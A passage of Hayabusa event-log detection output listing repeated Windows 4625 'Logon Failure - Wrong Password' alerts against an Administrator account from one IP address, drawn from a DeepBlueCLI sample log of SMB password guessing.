NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JIMTGRC5IQlkrG9c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.658 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NYcLsxwbg8LkGCuQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kmttijRBtXqEbU0W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.765 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DXC3hYI1Gin59gvG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.807 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hQiozAIr9Jgklmks : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O598IvZRpbdU1liO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xlmYWrAnn3sUNSRk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0aAAkO0uOGIq8zVM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.968 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 26K4BIpgUbBNWbDM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: moW3Ts7edqoQ9XeU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l8C4d3xE0QkWywbf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.086 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K1EgYFhtgrcjtcXM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7avpgQeA0KCIme9Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YFgmt3OEw4cDfPhG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.214 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OqITdE5K63nJg9tg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.306 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zBs4fYCiprxgDd43 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.355 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VtBD0Q2szeURxMYA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.502 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KPUi2NhPP92Rs3hy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.561 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2PrbMf9E0fOuwIB8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.613 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 807zsxQ9WETO9YIp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZGMJKRYUlmijJV40 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.706 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xv33to031A0fQzX2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.753 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IT0bzycur7HXFeLg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kyY2K7tT0HgQ1ZL3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6aexuFPH6FyEZ1bN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o8Iojas6sznqlYUE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U2SnliYkmx59ACSM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:19.971 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2plWY1GZHilHv5Vh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.005 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XIfmqihMJdPVz80p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.047 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Odg692Eyde8md0t7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gsQNvf5HkRQnbDul : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.134 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: il2DGq3bzfwGuJN4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.183 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9OsQFOcIyougrx0E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gR8wpQrGYzd4NrBo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.282 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KFjRsjWXbEPs9m1I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wbjudOy3rWefzAIv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.360 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Q4gc8keCTv2HeE3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.414 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SmsaxHrHYuofUhAH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CvhWasTJYmChfsNU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.497 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DszGfEo9aua2y5UC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lZPScjxczbrcJuvJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ucpjxJV4rBXOxy4e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.636 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BmTtDfX05VsKFrON : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HhWSUkQhv089RSfJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.729 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i8RXCiXQYgjuPO78 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.773 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pfB3u3Np38FOw6hc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I9GcSmto4jdCIw6H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HsogJdHUcldt7JeH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IUbkohKtCy6joOBY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:20.954 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9ZFyYxBrKnz652Co : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.001 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QQ2MHr71xALFHJqN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cgjHOgEYRLQiJX75 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QXLjSNCeDAaX4ttQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.137 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: np6hwdqnWLJawVn9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: adqqChrYx3lZ0BAa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1GTXkOnNYTws1MiC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.266 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5QUvFvCM6AJhKjXe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.304 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NiVgC8oJ5W2Xr3t0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hXfhdrbLnNOGDqy6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OcjMGbrHQHxIhSSh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LDYPTYHHKAe39GjM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.481 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2PF3H6LE6MqFjVWx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.526 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LLTReOoxRa7UAhT3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jqtqwAPBiBfaHNpv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.619 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jmisFXzDpOILUhIX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.737 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W5UHqVVAYK08FWit : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.785 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PKHLHN59FDnD92Sm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.829 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ohAKPRGvg1JCQ91y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.879 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pxdcrng84HEG39nJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.926 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lFGXFxHPbxDTGmiN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tyFnafBgzoLQWTQR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2IjLjxkd2pX4moFy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9vqYC4KotCYTcQv5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qtHcYFIOHglQFb60 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mmiHIQrpsAVRJtdb : IP Address: 192.168.198.149 : AuthPackage: 